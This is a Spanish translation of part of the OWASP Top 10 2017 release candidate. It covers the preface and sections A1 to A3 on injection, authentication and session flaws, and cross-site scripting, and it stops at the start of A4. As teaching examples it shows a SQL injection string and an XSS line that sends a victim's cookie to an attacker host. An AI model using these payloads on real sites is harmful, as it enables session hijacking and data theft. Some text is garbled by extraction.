RC
VERSION CANDIDATA AVISO IMPORTANTE
Solicitud de observaciones. OWASP planea lanzar la versión pública final del OWASP Top 10 – 2017 en Julio o Agosto del 2017 luego del período final del 30 de Junio del 2017. Este lanzamiento del Top10 de OWASP marca el décimo cuarto año de incrementar la concientización de la importancia de los riesgos de seguridad en las aplicaciones. Esta liberación continúa la actualización del 2013, cuyos principales cambios fueron agregados en "Uso de Componentes Conocidos Vulnerables" 2013-A9. Nos complace ver que desde el lanzamiento del Top 10 en el 2013, todo el ecosistema de las herramientas libres y comerciales ha crecido para ayudar a combatir éste problema con el uso de componentes de código abierto, ha continuado con una expansión prácticamente en cada lenguaje de programación. La información también sugiere el uso de componentes conocidos vulnerables sigue predominante, no tan generalizado como antes. Creemos que la concientización de éste Top 10 OWASP – generado en el 2013 ha contribuido a ambos cambios. También notamos que desde que el CSRF fue presentado en el Top 10 en el 2017, fue descartado como una vulnerabilidad extendida a una no muy común. Muchos frameworks incluyen automatización de defensas contra CSRF lo cual ha contribuido significativamente a su rechazo aproximado, junto con mucha concientización de los desarrolladores que deben protegerse contra esos ataques. Los comentarios constructivos sobre éste OWASP Top 10 - 2017RC, deben enviarse por email a
[email protected]. Los comentarios privados pueden enviarse a
[email protected]. Los comentarios anónimos son bien recibidos. Todos los comentarios no-privados serán catalogados y publicados al mismo tiempo que la versión final. Los comentarios que recomienden cambios a los ítems listados en el Top 10 deben incluir una lista completa de sugerencias de los 10 ítems, acompañado con una base racional para cualquier cambio. Todos los comentarios deben indicar la página y sección relevante. Continuando con la publicación final del Top 10 de OWASP -2017, el trabajo colaborativo de la comunidad de OWASP continuará con actualizaciones de soporte a los documentos incluidos en la wiki de OWASP, La Guía de los Desarrolladores OWASP, Guía de Verificaciones de OWASP, Guía de Revisión de Códigos OWASP, y la Hoja Rápida de Prevención OWASP, junto con las traducciones del Top 10 a diferentes idiomas Su comentario es primordial para el continuo crecimiento del Top 10 de OWASP y todos los proyectos OWASP. Gracias por la dedicación para mejorar la seguridad del software en el mundo. Jeff Williams, Creador del proyecto y co-autor del Top 10. Dave Wichers, Leader del proyecto y co-autor del OWASP Top 10.
Traducido por XyZ para la comunidad de Underc0de
O
Sobre OWASP.
Prólogo.
Sobre OWASP.
El software inseguro está debilitando las finanzas, defensa, energía y otras infraestructuras críticas. A medida que la infraestructura digital se hace cada vez más compleja e Interconectada, la dificultad de lograr la seguridad en aplicaciones aumenta exponencialmente. No se puede dar el lujo de tolerar problemas de seguridad relativamente sencillos, como los que se presentan en este OWASP Top 10.
El proyecto abierto de seguridad en aplicaciones Web (OWASP por sus siglas en inglés) es una comunidad abierta dedicada a facultar a las organizaciones a desarrollar, adquirir y mantener aplicaciones que pueden ser confiables.
El objetivo del proyecto Top 10 es crear conciencia acerca de la seguridad en aplicaciones mediante la identificación de algunos de los riesgos más críticos que enfrentan las organizaciones El proyecto Top 10 es referenciado por muchos estándares, libros, herramientas, y organizaciones incluyendo MITRE, PCI DSS, DISA, FCT, y muchos más . OWASP Top 10 fue lanzado por primera vez en 2003, con actualizaciones menores en 2004 y 2007. La versión 2010 fue renovada para dar prioridad al riesgo, no sólo a la prevalencia, y su patrón continuado en el 2013 y el último lanzamiento 2017. Lo invitamos a que utilice el Top 10 para hacer que su organización se inicie en la temática sobre seguridad en aplicaciones. Los desarrolladores pueden aprender de los errores de otras organizaciones. Los ejecutivos deben comenzar a pensar cómo gestionar el riesgo que las aplicaciones de software crean en sus empresas. A largo plazo, le recomendamos que cree un programa de seguridad en aplicaciones que sea compatible con su cultura y su tecnología.
En OWASP encontrará guías gratuitas y abiertas…
Herramientas y estándares de seguridad en aplicaciones Libros completos de revisiones de seguridad en aplicaciones, desarrollo de código fuente seguro, y revisiones de seguridad. Controles de seguridad estándar y librerías Capítulos locales en todo el mundo Investigaciones de vanguardia Extensas conferencias alrededor del mundo Listas de correo
Aprenda más en: https://www.owasp.org Todas las herramientas de OWASP, documentos, foros, y capítulos son gratuitas y abiertas a cualquiera interesado en mejorar la seguridad en aplicaciones. Abogamos por resolver la seguridad en aplicaciones como un problema de personas, procesos y tecnología, ya que los enfoques más efectivos para la seguridad en aplicaciones requieren mejoras en todas estas áreas. OWASP es un nuevo tipo de organización. Nuestra libertad de presiones comerciales nos permite brindar información sobre seguridad en aplicaciones sin sesgos, práctica y efectiva. OWASP no está afiliada con ninguna compañía de tecnología, aunque apoyamos el uso instruido de tecnologías de seguridad comercial. Al igual que muchos otros proyectos de software de código abierto, OWASP produce muchos tipos de materiales de una manera abierta y colaborativa.
Estos programas vienen en todas las formas y tamaños, y debe evitar tratar de hacer todo lo prescrito por algún modelo de procesos. En cambio, debe aprovechar las fortalezas existentes en su organización para hacer y medir lo que le funcione a usted.
La fundación OWASP es una entidad sin fines de lucro para asegurar el éxito a largo plazo del proyecto. Casi todos los asociados a OWASP son voluntarios, incluyendo junta directiva de OWASP, comités globales, líderes de capítulos, líderes y miembros de proyectos.
Esperamos que OWASP Top 10 sea útil para sus esfuerzos de seguridad en aplicaciones. Por favor no dude en ponerse en contacto con OWASP para sus dudas, comentarios, e ideas, ya sea públicamente a
[email protected] o en privado a
[email protected].
Apoyamos la investigación innovadora sobre seguridad a través de becas e infraestructura.
¡Únase a nosotros!
Licencia y Derechos de Autor. Derechos de Autor © 2003 – 2017 La Fundación OWASP. Este documento es lanzado bajo la licencia de Creative Commons Attribution ShareAlin 3.0. Para cualquier reutilización o distribución, debe verificar los otros términos de licencias de éste trabajo
Traducido por XyZ para la comunidad de Underc0de
I
Introducción.
Bienvenido. Bienvenido al Top 10 2017 de OWASP! Esta actualización agrega por primera vez dos nuevas categorías de vulnerabilidades: (1) Protección insuficiente contra ataques y (2) APIs bajo protecciones. Hemos realizado laboratorios para estas dos nuevas categorías uniendo las categorías de control de acceso (2013-A4 y 2013-A7) dentro de Control de Acceso sin Protección, el cuál fue agregado al Top 10 en el 2010. El Top 10 de OWASP para el 2017 está basado principalmente en 11 grandes conjuntos de datos, desde firmas que se especializan en la seguridad de aplicación, incluyendo 8 compañías consultoras y 3 vendedores de productos. Estos conjuntos de vulnerabilidades obtenidas van desde cientos de organizaciones y sobre más de 50.000 aplicaciones del TOP 10 son seleccionados y priorizados desde la preponderancia de los datos, combinados con el consenso de estimación de explotabilidad, detectabilidad e impacto. El primer apunte del Top 10 de OWASP es para educar a los desarrolladores, diseñadores, arquitectos, administradores y organizaciones sobre las consecuencias más importantes de la debilidad y seguridad de las aplicaciones web. El Top 10 provee técnicas básicas para proteger contra éstos elevados riesgos - y además proveer una guía a donde ir a partir de aquí.
Advertencia.
Agradecimientos.
No se detenga en el Top 10. Existen cientos de problemas que pueden afectar la seguridad en general de una aplicación web tal como se ha debatido en la Guía de Desarrollo OWASP y OWASP Hoja de configuración rápida. Este documento es de lectura esencial para cualquiera que desarrolle aplicaciones web hoy en día. Una efectiva orientación en cómo encontrar vulnerabilidades en aplicaciones web es suministrada en la Guía de Pruebas OWASP y la Guía de Revisión de Código OWASP.
Gracias a Aspect Security por iniciar, liderar, y actualizar el OWASP Top 10, desde sus inicios en 2003, y a sus autores primarios: Jeff Williams y Dave Wichers.
Cambio constante. Este Top 10 continuará cambiando. Incluso sin cambiar una sola línea de código en la aplicación, es posible llegar a ser vulnerable, ya que al descubrirse nuevos defectos, los ataques son refinados. Por favor, revise los consejos al final del Top 10 "Próximos para Desarrolladores, Verificadores y Organizaciones" para mayor información. Piense positivamente. Cuando se encuentre preparado para dejar de buscar vulnerabilidades y focalizarse en establecer controles seguros de aplicaciones, OWASP ha producido una Estándares de Verificación en la Seguridad de las Aplicaciones (ASVS) como guía para organizaciones y revisores de aplicaciones que detalla los controles de seguridad a verificar en una aplicación. Utilice herramientas inteligentemente. Las vulnerabilidades de seguridad pueden ser bastante complejas y encontrarse ocultas en miles de códigos. En muchos casos, el enfoque más eficiente y económico para encontrar y eliminar dichas vulnerabilidades es la combinación de expertos armados con buenas herramientas para realizar esta tarea. Push left. Enfocarse en hacer que la seguridad sea parte de la cultura organizacional a través de todo el ciclo de desarrollo. Puede encontrar más información en Open Software Assurance Maturity Model (SAMM) y RuggeHandbook.
Nos gustaría agradecer a las organizaciones que han contribuido con sus vulnerabilidades para actualizar el 2017, incluyendo algunos de ellos:
Aspect Security Branding Brand EdgeScan Minded Security Softtek Veracode
AsTech Consulting Contrast Security iBLISS Paladion Networks Vantage Point
Por primera vez, todos los datos contribuidos al lanzamiento del Top 10 y la lista completa de los contribuyentes es de conocimiento publico. Nos gustaría dar las gracias a todos los que contribuyeron con las versiones anteriores del Top 10. Sin estas aportaciones, no sería lo que es hoy. También nos gustaría dar las gracias a aquellos que han aportado comentarios constructivos y a los que dedicaron tiempo de revisión de esta actualización del Top 10.
Neil Smithline – (MorphoTrust USA) Por producir la wiki de esta versión del Top 10 y proporcionar información.
Y, por último , nos gustaría de antemano dar las gracias a todos los traductores por traducir esta versión del Top 10 en idioma, lo que ayuda a hacer que el OWASP Top 10 sea accesible al planeta entero.
Traducido por XyZ para la comunidad de Underc0de
N
Notas de la versión.
¿Qué cambió desde la versión del 2013 a la del 2017? El panorama de amenazas para aplicaciones y APIs constantemente cambia. Los factores claves en ésta evolución son la rápida adopción de nuevas tecnologías (incluyendo clouds, contenedores y APIs), la aceleración y automatización del proceso del desarrollo del software como Agile y DevOps, la exposición de librerías de terceros, frameworks y descubrimientos realizados por atacantes. Estos factores frecuentemente hacen a las aplicaciones y APIs más complejas de analiza, y pueden significativamente cambiar el panorama de amenazas. Para mantener la paz, periódicamente actualizamos el Top 10. Este lanzamiento 2017, contiene los siguientes cambios: 1.
Mezclamos 2013-A4: Referencia Directa Insegura a Objetos y 2013-A7: Ausencia de Control de Acceso a Funciones dentro de 2017A4: Control de Acceso sin Protección.
2.
Agregamos 2017-A7: Protección Insuficiente contra Ataques:
3.
Durante años, hemos considerado agregar defensas insuficientes contra los ataques automatizados. Basados en la llamada de datos, vemos que la mayoría de aplicaciones y APIs no tienen las aptitudes básicas para detectar, prevenir y responder a ambos métodos, manual y ataques automáticos. Los dueños de aplicaciones y APIs también necesitan ser capaces de generar parches rápidos que los protejan contra los ataques.
Agregamos 2017-A10: APIs bajo protecciones:
4.
En el 2007, separamos Control de Acceso sin Protección dentro de esas dos categorías para brindar más atención a cada mitad del problema Del Control de Acceso (datos y funcionalidad). No creímos que sea necesario por eso lo fusionamos nuevamente.
Las aplicaciones modernas y APIs a veces involucran contenido rico en las aplicaciones clientes, como JavaScript en el navegador y aplicaciones móviles, que están conectadas a una API o alguna de ellas (SOAP/XML, REST/JSON, RPC, GTW). Estas Apis a veces están bajo protecciones y contienen muchas vulnerabilidades. Incluimos algunas para ayudar a la organización a enfocarse en la mayor exposición emergente.
Descartamos: 2013-A10: Redirecciones y Reenvíos no validos:
En el 2010, añadimos ésta categoría para generar conciencia del problema. Sin embargo la información muestra que es inconveniente no ha sido explotado como esperamos. Luego de lanzar los dos anteriores Top 10, ésta vez no hizo ningún cambio.
NOTA: El Top 10 está organizado sobre las áreas de mayor riesgo, y no pretenden estar en lo correcto, sin sobreponer una estricta tenotomía. Algunos de ellos están centrados en el atacante, alguna vulnerabilidad, defensa y amenaza. Las organizaciones deben considerar establecer iniciativas para prevenir estos inconvenientes.
OWASP Top 10 – 2013 (Anterior)
OWASP Top 10 – 2017 (Actual)
A1 - Inyección.
A1 - Inyección.
A2 - Pérdida de Autenticación y Gestión de Sesiones A3 - Secuencia de Comandos en Sitios Cruzados (XSS).
A2 - Perdida de Autenticación y Gestión de Sesiones. A3 - Secuencia de Comandos en Sitios Cruzados (XSS).
A4 - Referencia Directa Insegura a Objetos – Fusionado con A7. A5 - Defectuosa configuración de Seguridad
A4 - Control de Acceso sin Protección (Categoría original en 2003/2004). A5 - Defectuosa Configuración de Seguridad
A6 - Exposición de Datos Sensibles
A6 - Exposición de Datos Sensibles.
A7 - Ausencia de Control de Acceso a Funciones – Fusionado con A4. A8 - Falsificación de Peticiones en Sitios Cruzados (CSRF) A9 - Uso de Componentes con Vulnerabilidades Conocidas. A10 - Redirecciones y renvíos no Válidos – (descartado)
A7 - Protección Insuficiente contra Ataques (Nuevo). A8 - Falsificación de Peticiones en Sitios Cruzados (CSRF) A9 - Uso de Componentes con Vulnerabilidades Conocidas. A10 - APIs bajo protecciones (Nuevo).
Traducido por XyZ para la comunidad de Underc0de
RSA
Riesgo de Seguridad en las Aplicaciones.
¿Qué son los riesgos de seguridad en las aplicaciones? Los atacantes pueden potencialmente usar rutas diferentes a través de la aplicación para hacer daño a su negocio u organización. Cada una de estas rutas representa un riesgo que puede, o no, ser lo suficientemente grave como para justificar la atención.
A veces, estas rutas son triviales de encontrar y explotar, y a veces son muy difíciles. Del mismo modo, el daño que se causa puede ir de ninguna consecuencia, o ponerlo fuera del negocio. Para determinar el riesgo en su organización, puede evaluar la probabilidad asociada a cada agente de amenaza, vector de ataque, y la debilidad en la seguridad, y combinarla con una estimación del impacto técnico y de negocios para su organización. En conjunto, estos factores determinan el riesgo global.
¿Cuál es mi riesgo?
Referencias.
El Top 10 de OWASP se enfoca en la identificación de los riesgos más serios para una amplia gama de organizaciones. Para cada uno de estos riesgos, proporcionamos información genérica sobre la probabilidad y el impacto técnico a través del siguiente esquema de calificaciones, que está basado en Metodología de Evaluación de Riesgos OWASP.
OWASP:
Agente de Amenaza
Vectores de Ataque Fácil Promedio Difícil
Irrelevancia Detectabilidad Impacto Impacto al de de Técnico Negocio. debilidades debilidades Especifico Especifico Difundido Fácil Severo de la la Común Promedio Moderado de aplicación. aplicación Poco Difícil Menor /negocio Común Sólo usted conoce los detalles específicos de su negocio. Para una aplicación determinada, podría no existir un agente de amenaza que pueda ej: ejecutar el ataque en cuestión, o el impacto técnico podría no hacer ninguna diferencia en su negocio. Por lo tanto, debe evaluar cada riesgo, enfocándose en los agentes de amenaza, los controles de seguridad y el impacto al negocio. Nosotros enunciamos los Agentes de Amenaza como específicos de la aplicación, y el impacto al negocio como especifico de la aplicación/negocio, con el fin de indicar que estos son claramente dependientes de los detalles específicos de las aplicaciones en su empresa.
OWASP Risk Rating Methodology. Article on Threat/Risk Modeling.
EXTERNAS:
FAIR Information Risk Framework. Microsoft Threat Modeling (STRIDE and DREAD).
Los nombres de los riesgos en el Top 10 derivan del poder del ataque del tipo de debilidad o el tipo de impacto que causan. Hemos elegido los nombres que reflejan con precisión los riesgos y, cuando es posible, alineamos con la terminología común para aumentar el nivel de conciencia sobre ellos.
Traducido por XyZ para la comunidad de Underc0de
T10
OWASP Top 10 de Riesgos de Seguridad en Aplicaciones - 2017
A1- Inyección
Las fallas de inyección, tales como SQL, OS y LDAP, ocurren cuando datos no confiables son enviados a un intérprete como parte de un comando o consulta. Los datos hostiles de atacante pueden engañar al intérprete en ejecutar comandos no intencionados o acceder a datos no autorizados.
A2– Pérdida de Autenticación y Gestión de Sesión.
Las funciones de la aplicación relacionadas a autenticación y gestión de sesiones son implementadas con frecuencia incorrectamente, permitiendo al atacante comprometer contraseñas, claves, tokens de sesiones o explotar otras fallas de implementación para asumir la identidad de otros usuarios.
A3– Secuencia de Comandos en Sitios Cruzados (XSS)
Las fallas XSS ocurren cada vez que una aplicación toma datos no confiables y los envía al navegador web sin una validación y codificación apropiada. XSS permite a los atacantes ejecutar secuencias de comandos en el navegador de la víctima, los cuales pueden secuestrar las sesiones del usuario, destruir sitios web o dirigir al usuario hacia un sitio malicioso.
A4– Control de Acceso sin Protección.
Las restricciones de lo que los usuarios autenticados tienen permiso a realizar no se encuentran propiamente fortificado. Los atacantes pueden explotar ésta falla para acceder a funciones sin restricciones o información, como obtener acceso a cuentas de otros usuarios, visualizar archivos sensibles, modificar información de otros usuarios, cambiar los accesos.
A5– Configuración de Seguridad Incorrecta.
Una buena seguridad requiere tener definida e implementada una configuración segura para la aplicación, marcos de trabajo, servidor de aplicación, servidor web , base de dato , y plataforma. Todas estas configuraciones deben ser definida , implementada , y mantenidas ya que por lo general no son seguras por defecto. Esto incluye mantener todo el software actualizado, incluidas las librerías de código realizadas por la aplicación.
A6 – Exposición de datos Sensibles.
Muchas aplicaciones web no protegen adecuadamente datos sensibles tales como números de tarjetas de crédito o credenciales de autenticación. Los atacantes pueden robar o modificar tales datos para llevar a cabo fraudes, robos de identidad u otros delitos. Los datos sensibles requieren de métodos de protección adicionales tales como el cifrado de datos, como también precauciones especiales en un intercambio de datos con el navegador.
A7- Protección insuficiente contra ataques.
La mayoría de aplicaciones y APIs fallan en la habilidad básica de detectar, prevenir y responder a ataques manuales y automáticos. La protección contra ataques va más allá de una básica validación de ingreso de datos e implica la detección automática, ingreso, respuesta e inclusive bloquear intentos de explotación. Los dueños de las aplicaciones también necesitan ser capaces de realizar parches de forma rápida para protegerse contra los ataques.
A8 – Falsificación de petición en Sitios Cruzados (CSRF).
Un ataque CSRF obliga al navegador de una víctima autenticada a enviar una petición HTTP falsificada, Incluyendo la sesión del usuario y cualquier otra información de autenticación incluida automáticamente, a una aplicación web vulnerable. Esto permite al atacante forzar al navegador de la víctima para generar pedidos que la aplicación vulnerable piensa son peticiones legítimas provenientes de la víctima.
A9- Uso de componentes con vulnerabilidades conocidas.
Los componentes, como librería, frameworks y otros módulos de softwares, se ejecutan con los mismos privilegios que la aplicación. Si un componente es vulnerable y explotado, un ataque puede facilitar una pérdida seria de información o incluso la pérdida de control de un servidor. Las Aplicaciones y APIs utilizan componentes con vulnerabilidades conocidas pueden debilitar la defensa de una aplicación y permitir varios ataques e impactos.
A10- APIs bajo protección.
Las aplicaciones modernas a veces implican aplicaciones y APIs enriquecidas, como JavaScript en el navegador y aplicaciones móviles, que se conectan a una API o algún tipo (SOAP/XML, REST/JSON, RPC, GET, etc.). Éstas APIs a veces son desprotegidas y contienen numerosas vulnerabilidades.
Traducido por XyZ para la comunidad de Underc0de
A1
Inyección
Especifico de la Aplicación.
Explotabilidad FACIL.
Considere a cualquiera que pueda enviar información no confiable al sistema, incluyendo usuarios externos, usuarios internos y Administradores.
El atacante envía ataques con cadenas simples de texto, los cuales explotan la sintaxis del intérprete a vulnerar. Casi cualquier fuente de datos puede ser un vector de inyección, incluyendo las fuentes internas.
Prevalencia COMUN
Detección PROMEDIO
Las fallas de inyección ocurren cuando una aplicación envía información no confiable a un intérprete. Estas fallas son muy comunes, particularmente en código antiguo. Se encuentran frecuentemente, en consultas SQL, LDAP, Xpath o NoSQL; los comandos de SO, intérpretes de XML, encabezados SMTP, argumentos de programas. Estas fallas son fáciles de descubrir mediante pruebas. Los analizadores y –FUZZERS- pueden ayudar a los atacantes a encontrar fallas de seguridad.
Impacto SEVERO
Especifico de la Aplicación/ Negocio
Una inyección puede causar pérdida o corrupción de datos, pérdida de responsabilidad o negación de acceso. Algunas veces una inyección puede llevar al compromiso total del servidor.
Considere el valor de negocio de los datos afectados y la plataforma sobre la que corre el intérprete. Los datos pueden ser robados, modificados o eliminados. ¿Podría ser dañada su reputación?
¿Soy vulnerable a Inyección?
¿Cómo prevengo la inyección?
La mejor forma de averiguar si una aplicación es vulnerable a Inyección es verificar que en todo uso de intérpretes se separa la Información no confiable del comando o consulta. Para llamados SQL, esto significa usar variables parametrizadas en todas las sentencias preparadas y procedimientos almacenados, evitando las consultas dinámicas. Verificar el código es una manera rápida y precisa para ver si la aplicación usa intérpretes de manera segura. Herramientas de análisis de código pueden ayudar al analista de seguridad a ver como se utilizan los intérpretes y seguir el flujo de datos a través de la aplicación. Los testeadores pueden validar estos problemas al crear pruebas que confirmen la vulnerabilidad. El análisis dinámico automatizado, el cual ejercita la aplicación puede proveer una idea de si existe alguna inyección explotable. Los analizadores automatizados no siempre pueden alcanzar a los intérpretes y les dificulta detectar si el ataque fue exitoso. Un manejo pobre de errores hace a las inyecciones fáciles de descubrir.
Prevenir la inyección requiere mantener los datos sin confiar separados de las consultas y comandos.
Ejemplos de escenarios de ataques.
Referencias.
1.
Una aplicación utiliza información no confiable en la construcción de la siguiente consulta SQL vulnerable:
String query= “SELECT * FROM accouts WHERE custID=‘” + request.getParameter(“id”)+ “’”: 2.
Una aplicación confía ciegamente en el framework, puede contener consultas aún vulnerables (Ej. Hibernate Query Language (HQL)):
Query HQLQuery = session.createQuery(“FROM accounts WHERE custID= ‘” + request.getParameter(“id) + “’”); Ambos casos, el atacante modifica el valor del parámetro ‘id’ en su navegador para enviar: ‘ or ‘1’=’1. Por ejemplo: http://example.com/app/accountView?id=’ or ‘1’=’1 Estos cambios modifican ambas consultas para devolver todos los registros de la tabla “accounts”. Ataques más peligrosos pueden modificar información o incluso invocar procedimientos almacenados.
1.
2.
3.
La opción preferida es utilizar APIs seguras las cuales evaden el uso de intérpretes o proveen una interfaz parametrizada. Sea cuidadoso con las APIs, tales como procedimientos almacenados, que son parametrizados, pero pueden seguir introduciendo inyecciones. Si una API parametrizada no se encuentra disponible, debe cuidadosamente utilizar escapes de caracteres especiales utilizando el escape específico para el intérprete de la sintaxis. OWASP’S Java Encoder y librerías similares proveen rutinas de escape. La validación de ingreso de datos mediante “Listas Blancas” es recomendable, aunque no es una defensa completa como muchas situaciones requieren escapes especiales. Si se necesitan escapes especiales, una aproximación (1) y (2) por encima serán aproximaciones seguras. OWASP’s ESAPI tiene una extensa librería de rutinas y listas blancas.
OWASP • OWASP SQL Injection Prevention Cheat Sheet • OWASP Query Parameterization Cheat Sheet • OWASP Command Injection Article • OWASP XXE Prevention Cheat Sheet • OWASP Testing Guide: Chapter on SQL Injection Testing
Externas. • CWE Entry 77 on Command Injection • CWE Entry 89 on SQL Injection • CWE Entry 564 on Hibernate Injection • CWE Entry 611 on Improper Restriction of XXE • CWE Entry 917 on Expression Language Injection
Traducido por XyZ para la comunidad de Underc0de
A2
Perdida de Autenticación y Gestión de Sesión.
.
Especifico de la aplicación
Explotabilidad PROMEDIO
Los atacantes anónimos externos como usuarios con sus propias cuentas, podrían intentar robar cuentas de otros. Considere también a trabajadores que quieran enmascarar sus acciones.
El atacante utiliza filtraciones o vulnerabilidades en las funciones de autenticación o gestión de sesiones (ej. Cuentas expuestas, contraseñas, id de sesión) para suplantar otros usuarios.
Prevalencia COMUN
Detección PROMEDIO
Los desarrolladores con frecuencia crean esquemas propios de autenticación o gestión de sesiones, para construirlos en forma correcta, es difícil. Con frecuencia éstos esquemas propios contienen vulnerabilidades en el cierre de sesión, gestión de contraseñas, tiempo de desconexión (expiración), función de recordar contraseña, pregunta secreta, actualización de cuenta. Encontrar éstas vulnerabilidades puede ser difícil, porque cada implementación es única.
Impacto SEVERO Estas vulnerabilidades pueden permitir que algunos o todas las cuentas sean atacadas. Una vez que el ataque resulto exitoso, el atacante podría realizar cualquier acción que la víctima pudiese. Las cuentas privilegiadas son objetivos prioritarios.
Especifico de la aplicación/negocio Considere el valor de los datos del negocio Afectados o las funciones de la aplicación expuesta. También el impacto en el negocio de la exposición pública de la vulnerabilidad.
¿Soy vulnerable al robo de sesión?
¿Cómo prevengo esto?
¿Están correctamente protegidos los activos de la gestión de sesiones como credenciales y los identificadores (ID) de sesión? Puedes ser vulnerable sí.
La recomendación principal para una organización es facilitar a los desarrolladores: 1. Un conjunto de controles de administración de sesión y autenticación. Tales controles deberán conseguir:
1. 2. 3. 4. 5. 6. 7.
Las credenciales de los usuarios no están protegidas cuando se almacenan utilizando un hash o cifrado. Ver 2017-A6. Se pueden adivinar o sobrescribir las credenciales a través de funciones débiles de gestión de la sesión (ej. Creación de usuarios, cambio de contraseña, recuperación de contraseñas, ID de sesión débiles). Los ID de sesión son expuestos en la URL (ej. re-escritura de URL). Los ID de sesión son vulnerables a ataques de fijación de la sesión. Los ID de sesión no expiran, o las sesiones de usuario o los tokens de autenticación. En particular, los tokens de inicio de sesión único (SSO), no son invalidados durante el cierre de sesión. Los ID de sesiones no son rotados luego de una autenticación exitosa. Las contraseñas, ID de sesión y otras credenciales son trasmitidas a través de canales no cifrados. Ver 2017-A6.
a)
b)
2.
Visitar la sección de requisitos de ASVS V2 y V3 para más detalles.
Conocer todas los requerimientos de autenticaciones y administración de sesión definidos en Estándares de Verificación en la Seguridad de las Aplicaciones (ASVS) areas V2 (Authentication) and V3 (Session Management). Tener un interfaz simple para los desarrolladores. Considerar el uso de ESAPI Authenticator y APIs de usuario como buenos ejemplos a seguir utilizar o sobre los que construir.
Debe realizar un gran esfuerzo en evitar vulnerabilidades de XSS que podrían ser utilizadas para robar ID de sesión. Ver 2017-A3.
Ejemplos de escenarios de ataques.
Referencias.
1.
OWASP Para un conjunto mayor de requerimiento y problemas a evitar, vea ASVS requirements areas for Authentication (V2) and Session Management (V3).
Aplicación de reserva de vuelos que soporta re-escritura de URL poniendo los ID de sesión en la propia dirección:
hvp://example.com/sale/saleitems;jsessionid=2P0OC2JDPXM0OQ SNDLPSKHCJUN2JV?dest=Hawaii Un usuario autenticado en el sitio quiere mostrar la oferta a sus amigos. Envía por correo electrónico el enlace anterior, sin ser consciente de que está proporcionando su ID de sesión. Cuando sus amigos utilicen el enlace utilizarán su sesión y su tarjeta de crédito.
• • • • •
2.
Externo.
3.
No se establecen correctamente los tiempos de expiración de la sesión en la aplicación. Un usuario utiliza un ordenador público para acceder al sitio. En lugar de cerrar la sesión, cierra la pestaña del navegador y se marcha. Un atacante utiliza el mismo navegador al cabo de una hora, y ese navegador todavía se encuentra autenticado. Un atacante interno o externo a la organización, consigue acceder a la base de datos de contraseñas del sistema. Las contraseñas de los usuarios no se encuentran cifradas, exponiendo todas las contraseñas al atacante.
• •
OWASP Authentication Cheat Sheet OWASP Forgot Password Cheat Sheet OWASP Password Storage Cheat Sheet OWASP Session Management Cheat Sheet OWASP Testing Guide: Chapter on Authentication
CWE Entry 287 on Improper Authentication CWE Entry 384 on Session Fixation
Traducido por XyZ para la comunidad de Underc0de
A3
Secuencias de Comandos en Sitios Cruzados (XSS)
Especifico de la aplicación
Explotabilidad PROMEDIO
Considere cualquier persona que pueda enviar datos no confiables al sistema, incluyendo usuarios externos, internos y administradores.
El atacante envía cadenas de texto que son secuencias de comandos de ataque que explotan el intérprete del navegador. Casi cualquier fuente de datos puede ser un vector de ataque, incluyendo fuentes internas tales como datos de la base de datos.
Prevalencia DIFUNDIDA
Detectabilidad PROMEDIO
Las fallas XSS ocurren cuando una aplicación actualiza una página web controlada por un atacante, sin un correcto escape, que contenga una API segura JavaScript.Hay dos categorías primarias de XSS: 1) 2)
Almacenado Reflejado
Y cada uno de ellos puede ocurrir en el servidor o el cliente. La detección de un Servidor Xss es bastante fácil mediante el análisis de código. Un cliente Xss puede ser difícil de identificar.
Impacto MODERADO
Especifico de la aplicación/negocio
El atacante puede ejecutar secuencias de comandos en el navegador de la víctima para secuestrar las sesiones de usuario, alterar la apariencia del sitio web, insertar código hostil, redirigir usuarios, secuestrar el navegador de la víctima utilizando malware, etc.
Considerar el valor para el negocio del sistema afectado y de los datos que éste procesa. También considere el impacto en el negocio la exposición pública de la vulnerabilidad.
¿Soy vulnerable a XSS?
¿Cómo prevengo un XSS?
Es vulnerable a SERVER XSS si del lado del servidor el código utiliza ingresos por parte del usuario como parte de la salida HTML, y no utiliza un contexto sensible de escapes para asegurarse que no se ejecute el código. Si una página web utiliza JavaScript dinámicamente permite al atacante controlar la información hacia la página, puede tener CLIENT XSS. Podría evitar que un atacante envíe datos controlados hacia APIs JavaScript no seguras, pero realizando escapes (y una extensión menor) la validación de ingreso de datos pueden usarse para hacer lo más seguro.
Prevenir XSS requiere mantener los datos no confiables separados del contenido activo del navegador.
Las herramientas automatizadas pueden encontrar algunos XSS. Sin embargo, cada aplicación construye la salida de forma diferente y utiliza diferentes interpretes para los navegadores como JavaScript, ActiveX, Flash y Silverlight, usualmente utilizan librerías de terceros. Esta diversidad dificulta las detecciones automáticas particularmente al utilizar aplicaciones de páginas simples y potentes frameworks JavaScript y librerías. Por lo tanto, una completa cobertura requiere una combinación de revisión manual de código y pruebas de penetración, además de las aproximaciones automáticas.
1.
2.
3.
4.
Para evitar un Servidor XSS, la opción preferida es escapar apropiadamente la información sin confiar en el HTML (body, atributos, JavaScript, Css o Url), para que la información sea real. Ver la Hoja de trucos de OWASP para la prevención de XSS. Para evitar XSS CLIENT, la opción preferida es evitar enviar contenido no confiado a JavaScript y APIs de otros navegadores que puedan generar contenido activo. Cuando no puede evitar, técnicas de escape en contextos sensibles pueden aplicarse a la APIs del navegador descripto en la OWASP DOM based XSS Prevention Cheat Sheet. Para contenido en formato enriquecido, considere utilizar Bibliotecas de auto sanitización como AntiSamy de OWASP o el proyecto sanitizador de HTML en Java. Considere utilizar políticas de seguridad de contenido (CSP) para defender contra XSS la totalidad de su sitio.
Ejemplos de escenarios de Ataques
Referencias.
La aplicación utiliza datos no confiables en la construcción del siguiente código HTML sin validarlos o codificarlos:
OWASP • OWASP Types of Cross-Site Scripting • OWASP XSS Prevention Cheat Sheet • OWASP DOM based XSS Prevention Cheat She • OWASP Java Encoder API • ASVS: Output Encoding/Escaping Requiremen • OWASPAntiSamy: Sanitization Library • Testing Guide: 1st 3 Chapters on Data Validation • OWASP Code Review Guide: Chapter on XSS Re • OWASP XSS Filter Evasion Cheat Sheet
(String) page += "document.locaCon='http://www.attacker.com/cgibin/cookie.cgi?foo='+document.cookie'. Esto causa que el identificador de sesión de la víctima sea enviado al sitio web del atacante, permitiendo al atacante secuestrar la sesión actual del usuario. Notar que los atacantes pueden también utilizar XSS para anular cualquier defensa CSRF que la aplicación pueda utilizar. Ver 2017-A8 para más información sobre CSRF.
Externos. • CWE Entry 79 on Cross-Site Scripting
Traducido por XyZ para la comunidad de Underc0de
A4
Control de Acceso sin Protección.
Especifico de la aplicación
Explotabilidad PROMEDIO
